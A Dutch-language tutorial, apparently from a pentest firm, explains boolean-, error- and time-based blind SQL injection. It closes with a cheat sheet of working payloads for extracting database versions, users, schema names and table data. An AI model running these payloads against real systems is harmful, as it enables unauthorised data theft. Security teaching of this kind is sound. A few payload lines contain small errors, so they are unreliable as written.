Wat is blind SQL injection?

Blind SQL injection is een vorm van SQL injection waarbij de aanvaller niet direct response krijgt van de server. De aanvaller is dus “blind”. Bij een SQL injectie voert de aanvaller een database-query in bijvoorbeeld een invoerveld waarmee deze een applicatie kan beïnvloeden. Hierdoor kan een aanvaller willekeurige informatie uit de database lezen. Maar wat als het resultaat niet direct op het scherm wordt weergegeven? Met blind SQL injections is het mogelijk om toch informatie te achterhalen. SQL injecties komen relatief veel voor, waardoor het op plaats 3 van de OWASP top 10 staat.

Soms komt het voor dat de applicatie wel kwetsbaar is voor SQL-injectie, maar het resultaat niet teruggeeft. In dit geval is het voor een aanvaller moeilijker om informatie te achterhalen, omdat het resultaat niet getoond wordt. Dit wordt blind SQL injection genoemd. Het bekendste voorbeeld van een blind SQL injectie is om bij een inlogveld ' or '1'='1 in te vullen bij zowel de username als het wachtwoord. Is de applicatie lek, dan kan er ingelogd worden omdat 1 altijd gelijk is aan 1.

Boolean based

Afhankelijk van de response kunnen afgeleid worden of de check geslaagd is: er wordt wel of niet ingelogd. Om deze reden wordt dit een boolean based blind SQL injection genoemd. Omdat bij een check bepaald kan worden of deze wel of niet slaagt, kan dit in het voordeel gebruikt worden. Hoewel het handig is dat er ingelogd kan worden, is het ook mogelijk om informatie uit de database te halen.

Het doel is verschillende responses voor “ja” en “nee” antwoorden op de vraag krijgen die aan de database over de inhoud gesteld worden. Bestaat er een gebruiker met de naam “admin” in de users tabel? Bestaat de users tabel überhaupt wel? Het is zelfs mogelijk om letter voor letter de hele database te enumereren. Zijn er gebruikersnamen die beginnen met een “a”? Als dit lukt met “aa”, en als dit ook lukt met “aaa”. Lukt dit niet en wordt er een error gegeven, dan kan “aab” geprobeerd worden, net zo lang totdat de check slaagt en de volgende letter geprobeerd kan worden.

De volgende aanvallen zouden gebruikt kunnen worden:

' or 1 in (select 1 from users where username like 'a%');--  #ingelogd, dus gebruiker met a% bestaat
' or 1 in (select 1 from users where username like 'a%');-- #ingelogd, dus gebruiker met a% bestaat
' or 1 in (select 1 from users where username like 'aa%');-- #ingelogd, dus gebruiker met aa% bestaat
' or 1 in (select 1 from users where username like 'aaa%');-- #foutmelding, dus geen gebruiker met aaa
' or 1 in (select 1 from users where username like 'aab%');-- #foutmelding, op naar aac

Zoals te zien is zijn er vrij veel pogingen nodig om informatie te achterhalen. Voor een korte gebruikersnaam zoals “alfred” zal er op deze manier in het uiterste geval 182 requests gedaan moeten worden om deze te achterhalen. In de praktijk worden deze aanvallen vaak gescript, of er wordt gebruik gemaakt van SQLMap, die deze aanvallen out-of-the-box kan uitvoeren. Een andere mogelijkheid is Burp Suite, waar er met de Intruder snel verschillende combinaties uitgevoerd kunnen worden.

In het bovenstaande voorbeeld is de aanname gedaan dat de tabel “users” bestaat en dat daar een kolom “username” in zit. Hoewel dit niet ongebruikelijk is, kan het ook iets heel anders zijn. Dit wordt op dezelfde manier gedaan:

' or 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_NAME like "u%");--
' or 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_NAME like "us%");--

Hoe werkt een error based blind SQL injection?

Soms geeft een kwetsbaar component in zijn geheel geen response terug, of altijd dezelfde response. In dat geval kan er geprobeerd worden om de applicatie een andere error te laten genereren. Veel applicaties geven een andere response wanneer er een database-error plaatsvindt. Dit is te testen door het volgende te proberen:

' or 1=0;--
' or 1=1;--
' or 1=1/0;--

Bij de laatste poging zal de database proberen te delen door 0, wat resulteert in “Divide by zero error”. Als de applicatie bij de laatste variant een (andere) foutmelding geeft, en bij de eerdere twee niet, dan is de applicatie kwetsbaar voor een error based blind SQL injection. Ook hiermee kan de informatie uit de database gehaald worden. Dit wordt als volgt gedaant:

' or 1=(SELECT CASE WHEN (TABLE_NAME='users') THEN 1/0 ELSE 1 END FROM information_schema.TABLES);

Als er nu een error wordt gegeven, kan er geconstateerd worden dat de tabel “users” bestaat.

Time-Based

In sommige gevallen worden er geen errors terug gegeven en worden database errors netjes afgehandeld. Hierdoor kan er nergens uit afgeleid worden of de query geslaagd was. Het laatste redmiddel voor de aanvaller is dan de time-based blind SQL injection. Een aanvaller kan hiervoor testen door het volgende te proberen:

' or sleep(5);--

Als de applicatie nu pas na 5 seconden reageert, dan is de applicatie kwetsbaar. De aanvaller kan nu controleren of de ‘users’ tabel bestaat op de volgende manier:

' or 1=(SELECT CASE WHEN (TABLE_NAME='users') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES)

Als de tabel bestaat, dan reageert de applicatie pas na 5 seconden en anders direct.
Eerder werd al duidelijk dat het mogelijk is om tabellen te enumereren, dit werkt op dezelfde manier met time based SQL injections:

' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'b%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'c%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--

Dezelfde stappen als hiervoor worden herhaald, waar er wordt doorgegaan op een positief resultaat. Dus als er een TABLE_NAME LIKE “a%” is wordt er gekeken of er een TABLE_NAME LIKE “aa%” is, enzovoort. Uiteindelijk zijn op deze manier alle tabel namen aan de database ontfutseld, door ze letter voor letter uit de database te peuteren. Nu dat de tabel namen bekend zijn kunnen de kolom namen van een tabel op dezelfde manier worden geënumereerd.

' or 1=(SELECT CASE WHEN (TABLE_NAME = 'users' AND COLUMN_NAME LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS);--

Als de kolom namen van een tabel bekend zijn kan specifieke data uit de tabel worden opgevraagd.

' or 1=(SELECT CASE WHEN (username LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM users);--

Dit moet gedaan worden voor elke tabel, kolom, en waarde in de database om de database te kunnen reconstrueren.

Aanvallers kunnen bijna altijd informatie uit de database halen als deze kwetsbaar is voor SQL injection. Het maakt hierbij niet uit of het resultaat getoond wordt of niet. Weten of applicaties veilig zijn voor SQL injections? Bij een Website Security Check en een pentest controleert CyberAnt uitgebreid op dergelijke kwetsbaarheden.

Blind SQL injection Cheat Sheet

Hieronder staat een handige cheat sheet om informatie uit de database te halen middels een blind SQL injection.

Versie van de database
Boolean based:

AND 1 in (SELECT 1 FROM DUAL WHERE @@version LIKE "1%")

Error based:
AND 1=(SELECT CASE WHEN (@@version LIKE "1%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(@@version LIKE "1%", 1/0, 1));--

Time based:
AND 1=(SELECT CASE WHEN (@@version LIKE "1%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(@@version LIKE "1%", SLEEP(5), 1))

Verschillende manieren van een comment maken
SELECT 1; #comment
SELECT 1;--comment
SELECT /*comment*/1;
De huidige database gebruiker
Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE user() LIKE "a%")
AND 1 in (SELECT 1 FROM DUAL WHERE system_user() LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (user() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=( SELECT CASE WHEN (system_user() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(system_user() LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (user() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=( SELECT CASE WHEN (system_user() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(system_user() LIKE "a%", SLEEP(5), 1))

Naam van de huidige database
Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE database() LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (database() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(database() LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (database() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(database() LIKE "a%", SLEEP(5), 1))

Database namen
Boolean based:
AND 1 in (SELECT 1 FROM information_schema.SCHEMATA WHERE SCHEMA_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (SCHEMA_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.SCHEMATA)

Time based:
AND 1=(SELECT CASE WHEN (SCHEMA_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.SCHEMATA)

Kolom namen
Boolean based:
AND 1 in (SELECT 1 FROM information_schema.COLUMNS WHERE TABLE_NAME = 'TABEL' AND COLUMN_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (TABLE_NAME = 'TABEL' AND COLUMN_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.COLUMNS)

Time based:
AND 1=(SELECT CASE WHEN (TABLE_NAME = 'TABEL' AND COLUMN_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS)

Tabel namen
Boolean based:
AND 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.TABLES)

Time based:
AND 1=(SELECT CASE WHEN (TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES)

Vind een table door te zoeken naar een specifieke kolom
Boolean based:
AND 1 in (SELECT 1 FROM information_schema.COLUMNS WHERE COLUMN_NAME = 'KOLOMNAAM' AND TABLE_NAME LIKE "a%");

Error based:
AND 1=(SELECT CASE WHEN (COLUMN_NAME = 'KOLOMNAAM' AND TABLE_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.COLUMNS)

Time based:
AND 1=(SELECT CASE WHEN (COLUMN_NAME = 'KOLOMNAAM' AND TABLE_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS)

IF en Case statements
AND 1=(SELECT if(CONDITIE, 1/0, 1));
AND 1=(SELECT CASE WHEN (CONDITIE) THEN 1/0 ELSE 1 END FROM TABLE);
Alternatief voor speciale tekens
SELECT 0x4379626572416e74; #in plaats van CyberAnt
Sleep
SELECT BENCHMARK(100000,MD5('CyberAnt')); #doet tijdrovende benchmark
SELECT SLEEP(5); #wacht 5 seconden
Hostname en locatie database
Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE @@hostname LIKE "a%");
AND 1 in (SELECT 1 FROM DUAL WHERE @@datadir LIKE "a%");

Error based:
AND 1=(SELECT CASE WHEN (@@hostname LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT CASE WHEN (@@datadir LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(@@datadir LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (@@hostname LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT CASE WHEN (@@datadir LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(@@datadir LIKE "a%", SLEEP(5) 1))